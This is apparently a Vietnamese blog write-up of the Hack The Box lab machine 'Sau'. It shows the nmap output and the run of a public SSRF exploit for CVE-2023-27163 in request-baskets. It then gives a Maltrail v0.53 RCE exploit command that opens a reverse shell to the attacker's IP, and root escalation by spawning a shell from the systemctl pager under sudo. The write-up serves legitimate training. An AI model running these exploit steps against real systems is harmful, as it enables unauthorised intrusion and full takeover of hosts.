Khai thác lỗ hổng trên Hack The Box - Sau

Các điểm quan trọng

  • Tận dụng lỗ hổng CVE-2023-27163
  • Nâng quyền thông qua systemctl

Quy trình thực hiện

Thực hiện quét mạng bằng nmap để kiểm tra cổng 55555:

Nmap scan report for 10.10.11.224
Host is up (0.58s latency).
Not shown: 65531 closed tcp ports (reset)
PORT      STATE    SERVICE VERSION
22/tcp    open     ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 aa:88:67:d7:13:3d:08:3a:8a:ce:9d:c4:dd:f3:e1:ed (RSA)
|   256 ec:2e:b1:05:87:2a:0c:7d:b1:49:87:64:95:dc:8a:21 (ECDSA)
|_  256 b3:0c:47:fb:a2:f2:12:cc:ce:0b:58:82:0e:50:43:36 (ED25519)
80/tcp    filtered http
8338/tcp  filtered unknown
55555/tcp open     unknown

Sau khi truy cập trang web, bạn có thể thấy phần mềm và phiên bản được hiển thị ở góc dưới bên trái.

Tìm kiếm các tài liệu liên quan dẫn đến một exploit từ GitHub - entr0pie/CVE-2023-27163. Lỗ hổng này cho phép chuyển tiếp yêu cầu đến một địa chỉ cụ thể thông qua request-baskets. Chúng ta sẽ chuyển tiếp yêu cầu đến cổng 80 của máy chủ nội bộ.

C:\home\kali\Documents\HTB\Sau\CVE-2023-27163-main> ./CVE-2023-27163.sh http://10.10.11.224:55555 http://127.0.0.1:80              
Proof-of-Concept of SSRF on Request-Baskets (CVE-2023-27163) || More info at https://github.com/entr0pie/CVE-2023-27163

> Creating the "fduqgd" proxy basket...
> Basket created!
> Accessing http://10.10.11.224:55555/fduqgd now makes the server request to http://127.0.0.1:80.
> Authorization: hCArIkTJn2301CJdww6xq016yCcKlEucytDR3lL3wKGk

Truy cập http://10.10.11.224:55555/fduqgd sẽ hiển thị giao diện của Maltrail v0.53. Phiên bản này chứa lỗ hổng RCE có sẵn exploit tại Maltrail-v0.53-Exploit.

Chạy lệnh sau để tạo reverse shell:

python exploit.py 10.10.16.19 80 http://10.10.11.224:55555/fduqgd

Kiểm tra quyền sudo với lệnh sudo -l, chúng ta nhận thấy khả năng chạy /usr/bin/systemctl:

puma@sau:~$ sudo -l
Matching Defaults entries for puma on sau:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin

User puma may run the following commands on sau:
    (ALL : ALL) NOPASSWD: /usr/bin/systemctl status trail.service

Để tận dụng điều này, sử dụng phương pháp sau:

sudo /usr/bin/systemctl status trail.service
WARNING: terminal is not fully functional
-  (press RETURN)!/bin/bash
!//bbiinn//bbaasshh!/bin/bash
root@sau:/tmp# id
uid=0(root) gid=0(root) groups=0(root)

Như vậy, bạn đã thành công nâng quyền lên root.

Thẻ: HackTheBox CVE-2023-27163 Maltrail SystemctlPrivilegeEscalation

Đăng vào ngày 3 tháng 6 lúc 19:22